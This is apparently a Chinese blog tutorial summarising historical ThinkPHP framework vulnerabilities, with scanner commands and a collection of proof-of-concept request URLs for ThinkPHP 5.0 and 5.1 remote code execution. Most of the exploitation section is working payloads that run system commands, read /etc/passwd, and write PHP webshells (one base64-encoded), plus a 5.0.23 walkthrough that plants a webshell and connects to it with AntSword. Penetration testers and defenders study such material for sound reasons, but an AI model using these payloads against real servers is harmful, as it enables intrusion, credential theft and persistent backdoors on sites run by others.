常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp

一、介绍

Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。

二、Thinkphp历史漏洞

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

三、Thinkphp特征发现

  • 默认页面

  • 错误页面

    • 开启了debug模式的错误页面:
- 未开启debug模式的错误页面:

四、批量漏洞检测

  • https://github.com/Lucifer1993/TPscan
bash 复制代码
python TPscan.py


  • https://github.com/theLSA/tp5-getshell
bash 复制代码
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/


  • 说明漏洞存在,可以进行漏洞利用。
  • 使用ThinkphpGUI-1.2-SNAPSHOT进行漏洞扫描和命令执行。
  • 切换版本,进行命令执行。


五、漏洞总结

  • Thinkphp3 漏洞总结:https://y4er.com/post/thinkphp3-vuln/
  • Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/
  • 5.0.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
  • 5.1.* 常用PoC
bash 复制代码
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo

#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)


/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

六、5.0.23版本案例演示


1、查看。

bash 复制代码
#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd
bash 复制代码
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

2、写入木马文件。

bash 复制代码
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php

3、写入成功。



4、使用蚁剑进行连接。


相关推荐
空暝1 个月前
ThinkPHP的SQL注入漏洞学习
数据库·sql·学习·php·web·thinkphp
板栗妖怪1 个月前
thinkphp5之sql注入漏洞-builder处漏洞
学习·php·渗透·thinkphp·sql注入
逍遥蓝枫叶2 个月前
ThinkPHP6支持金仓数据库(Kingbase)解决无法使用模型查询问题
thinkphp·kingbase
frandiy2 个月前
【黑科技】:Laravel 项目性能提升 20 倍
php·laravel·thinkphp
疯子丶pony2 个月前
ThinkPHP一对一关联模型的运用(ORM)
php·thinkphp
张小勇2 个月前
thinkphp5多层with关联查询错误问题
thinkphp·fastadmin
张小勇3 个月前
thinkphp通过with查询,并通过关联表进行筛选
thinkphp·fastadmin
一一程序3 个月前
ThinkPHP-导入Excel表格(通用版)
php·excel·thinkphp·thinkphp导入excel
张小勇3 个月前
thinkphp单独为某个接口设置缓存
thinkphp
洪、3 个月前
记录一下PHP使用微信小程序支付
微信小程序·php·thinkphp